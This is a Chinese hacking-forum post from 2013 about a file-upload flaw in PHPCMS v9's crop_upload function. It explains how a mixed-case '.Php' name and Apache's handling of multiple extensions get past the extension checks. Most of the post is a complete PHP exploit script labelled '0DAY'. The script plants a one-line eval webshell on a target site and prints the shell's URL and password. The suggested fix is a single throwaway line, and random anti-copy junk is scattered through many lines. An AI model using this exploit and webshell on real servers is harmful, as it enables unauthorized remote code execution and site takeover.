找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2522|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行
8 R, w, f4 x4 R4 C7 Q% y& p. M4 `( R6 V, r7 N% y, |, ]
简要描述:% X* [7 X8 H' y( e" m3 n# k
7 o9 r9 C" N3 r/ A% ^: r
phpcms v9 getshell (apache)+ U: n# P( u$ V# b! e: H
详细说明:; ?! b# o) `( O& o! W
2 t7 l' c, R/ J
漏洞文件:phpcms\modules\attachment\attachments.php
% M2 m8 H1 }9 j
! a9 H) y- x0 dpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }
6 ]: D6 l; y7 \  b9 ~后缀检测:phpcms\modules\attachment\functions\global.func.php1 H8 c# ~# R) p, c- [
& z! _6 p4 j4 h. O
8 r! s; M' i1 U8 R4 M
* |* O1 ]- _( W" ~% F
function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  + r/ y  i$ R8 e0 y4 f) G: K* n
$ Y, o7 [6 g+ s9 G! X9 e) i
关键函数:; `4 }0 b2 k0 W$ x1 T

3 B( _7 q( p+ ^! N7 f
; K+ n3 `6 Q/ i/ ]
6 S% I, s# ~& @: i, Rfunction fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }  
3 o. M) a  I  J5 I; C7 E/ _: `) L2 ?; @, C2 e
  Fileext函数是对文件后缀名的提取。
. g& N; r" I5 y& ]  C! [根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php0 U/ @4 l8 A1 d
经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。
; o' b& L2 A; A0 b8 j我们回到public function crop_upload() 函数中
+ ]3 [1 a4 m0 dif(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();* _9 V* ~2 _. m" [  h4 X, ?
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数, z) W6 f# B8 e8 H2 h8 `
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
: @/ `+ \3 K! K经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。; H7 d# Z5 G7 {! E; e. J
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。7 t- J/ x& m: n: k7 }
看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。' ]% p4 b; [0 ]3 p/ G6 g. j
漏洞证明:
+ D; g4 @5 Z1 j+ [0 P; q$ t" v; r& u& m6 S8 A( }1 E7 k: W
exp:+ Q4 ^2 y" c! E1 z# e
& f, f" H  d& y& E
<?php
2 |& |8 k/ `0 L) Jerror_reporting(E_ERROR);
2 _& F. G! Y- J" O4 G. \1 G0 Hset_time_limit(0);# V7 N1 }/ C/ f
$pass="ln";
& H; }( v& r' {8 ?6 {) g, X1 gprint_r('0 c3 k) h+ V8 p$ u! q- [
+---------------------------------------------------------------------------+4 N3 k  C! T! u0 v3 B# `+ z
PHPCms V9 GETSHELL 0DAY
1 o) y& y! \" Acode by L.N.. Q9 N' `+ z2 |9 K0 [& D* X" J+ u. d
7 f( B4 R- @2 T( a0 w  K6 O9 a# N
apache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net8 U" U: d1 ^1 ]
+---------------------------------------------------------------------------+
5 {' a8 v" Z: B( s+ j! v');) ~/ Y9 b0 K. m4 p9 x2 }
if ($argc < 2) {4 Q; k5 f% |9 c& S* N! X
print_r('# F) B+ C6 _5 x
+---------------------------------------------------------------------------+: X4 o) p- V) j. s' l
Usage: php '.$argv[0].' url path
  f) x4 c- @1 y" i" j0 B/ u4 K
) Q  D; k% ?$ G( D9 a+ AExample:! J  Q) i: w1 S9 ^6 d1 b  L
1.php '.$argv[0].' lanu.sinaapp.com: W) @7 K2 V6 a1 d% P1 {, Q) g
2.php '.$argv[0].' lanu.sinaapp.com /phpcms3 i, k1 y' @5 a: i: U5 J
+---------------------------------------------------------------------------+
  H, k' V! @0 E6 P');
* R, `1 w& T: |: Oexit;2 f: e6 Y; z3 m: C
}0 ^. D3 }* ?+ n+ q( p$ o
* H+ B1 ^3 E0 t2 r& f1 q5 L3 k
$url = $argv[1];- n3 n% ]: ^3 `. q0 T# K
$path = $argv[2];) X( Z/ m3 d. d1 D, l3 W: |. Z$ d
$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';: |% }$ m5 c7 U/ s
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';' e5 |7 u/ n+ |) d2 U1 B% m: l- u
if($ret=Create_dir($url,$path))
1 Y, p) s) E( ~2 ]' }' P{& z3 Y& X; M) h/ e
//echo $ret;/ X0 Q3 c# D8 v% X
$pattern = "|Server:[^,]+?|U";
5 T/ e' ~% [: R. P) w4 wpreg_match_all($pattern, $ret, $matches);
, i3 e0 Y: @; E& zif($matches[0][0])3 J* _4 r* I$ G; d0 p3 z
{! |' b' F# m5 h. V: X8 t% i; J
if(strpos($matches[0][0],'Apache') == false)
" j) q, Z% m* G; x/ [" R7 s: Q{2 f  C) B/ s4 U, W* X9 u2 p
echo "\n亲!此网站不是apache的网站。\n";exit;
+ |5 S. F9 s8 g" }( s0 n3 B}
6 R9 G1 M+ d. L9 \  b/ J}1 m5 N0 _9 q' q; g. Q
$ret = GetShell($url,$phpshell,$path,$file);
6 C0 D& G) t2 S; v' Z/ V8 ]$pattern = "|http:\/\/[^,]+?\.,?|U";2 m6 s1 A( B7 m6 O& y3 x
preg_match_all($pattern, $ret, $matches);/ o: B+ K: b( i6 ]" X) e; R
if($matches[0][0])
6 e' O0 _% e) _0 u( o{& I3 t: E3 w* S
echo "\n".'密码为: '.$pass."\n";
6 y7 i) j  l3 z9 Q9 q; ?echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
4 S1 n2 N6 X5 u  F: A( b0 Z  K5 K3 j/ S}
. P$ S" M! ?' ^5 t. x% V& _else
$ a) L% x; B9 n) j  O- N: `{) R' U0 S, |  E7 f& ^
$pattern = "|\/uploadfile\/[^,]+?\.,?|U";9 f% V6 m+ x/ `+ K$ ~5 g5 D5 C
preg_match_all($pattern, $ret, $matches);
; X2 d- [2 L4 R: v. j& Xif($matches[0][0])
* A, Q" L0 ~& j! J{* G9 w, I7 ?" ?
echo "\n".'密码为: '.$pass."\n";
1 Z/ g' R) P8 T. uecho "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
) B2 I4 x" K# C: E6 N" c}
% l( D7 n8 Q% }else
" ?, d3 x1 L+ U4 T{- v* t2 |+ O2 `7 _
echo "\r\n没得到!\n";exit;
' N5 p  H( o6 u5 W3 j}6 H" V" D/ c- \
}
! L; C" [0 n+ P0 `}
) U  C8 Q8 l# y# y0 y6 o) l9 J' c$ m% K  d  r
function GetShell($url,$shell,$path,$js)! v- Q( E- K3 q3 e
{
# H# Q0 }; Y8 G. s. ]! \" m$content =$shell;
8 m: d. f3 S- y- v8 G( ~6 b$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";+ a  M0 h) }- |: b( T9 b/ c/ j+ f
$data .= "Host: ".$url."\r\n";
2 d1 j) s- Q  B& l4 B) R8 [$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
( M' d9 J' X( p8 P7 J( _$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
0 {- N: U0 @; c- b, T. r6 Y$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";# M/ n' o4 D- {, X$ a/ D; p
$data .= "Connection: close\r\n";" L# r! T3 L; C1 N* z, e, K: [6 d$ X
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
% P9 s! X8 V1 _$ S" K+ h1 |9 z$ {$data .= $content."\r\n";$ e) a" B) X( g1 h, v2 k  v* {  U
$ock=fsockopen($url,80);3 ?. S/ P% U+ N' o/ b* a8 n0 W
if (!$ock)) I! j9 e1 J5 k
{' E" i0 b( s. P! Q3 ]& y* t
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;$ t5 u& N$ s; G) i* W: {
}9 P1 p' Z! c  n7 n8 a. C7 |$ s. S
else
7 B2 Z* }$ {) `8 J9 {{" A) O2 d8 E2 \$ A9 t
fwrite($ock,$data);
  |& r; I% U  u, `- X$resp = '';: s9 B5 R! k1 L" @8 \
while (!feof($ock))
; g% x/ H* Y" u{
, R+ y  m9 w8 J. L$resp.=fread($ock, 1024);/ N- F9 L5 n8 `4 H: j. A* i+ b+ J
}0 H: l& j, Q6 t' O! [. q
return $resp;6 m0 M' l. m  S8 m6 t) C
}
! x; o9 x+ A, ]( f) r- ]: N, A5 Q  Z}: Z- w% s, Z! F2 V
+ t/ K- J; b5 m, Z
function Create_dir($url,$path='')
  C0 A8 M* d; \3 Q. t7 f{) @$ J: o, l4 V+ Y9 v' @$ Z
$content ='I love you';8 W; E6 q0 J8 M4 w" i: _/ \* `
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";' \; G- n' l4 R
$data .= "Host: ".$url."\r\n";
. T4 M: c, N# s1 c$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
1 y" e" i4 L5 ~8 J+ H6 S5 {$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
. [7 `  G% `" g6 h5 B. J& ?$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";  ]3 |) N& g  [
$data .= "Connection: close\r\n";
1 C7 H3 T1 U9 W9 u/ R$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
9 W* Y: D* V( R3 \$data .= $content."\r\n";
! i# t! I! b! m! L+ _$ock=fsockopen($url,80);
2 [$ M8 A# ~6 x/ e. @if (!$ock)
. R7 S2 O' y! b' F' u/ X$ k{
! e: K8 E. f3 e% B7 L! gecho "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;7 S7 T% C7 s" b) f, X
}
- l1 {  o1 Y  B4 M0 C6 Qfwrite($ock,$data);
+ u" Z  C7 o0 x1 s$resp = '';- ^1 |0 u. Z. @* x
while (!feof($ock))
/ f6 q6 V+ C* \8 ~9 ^8 j( h{
* o( }7 C7 c' ]8 V$ r$resp.=fread($ock, 1024);% x( j: M& K. S0 @  p4 C* b" U
}4 T3 K2 J' f4 G4 _, C! S
return $resp;' x6 I' z* }) T" `
}" ?( [6 V; `5 b: D
?>
+ F/ M, O) l- H$ f5 }! i. d2 W
8 b) e1 j5 d: X修复方案:
4 ~9 |. |) S! c! |; L( T$ A* ^. V7 d$ j( x9 Y
过滤过滤再过滤* I& ]. J: q( K2 ~( o1 j! o/ w

9 O( m; |. ^/ W/ }) [! Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表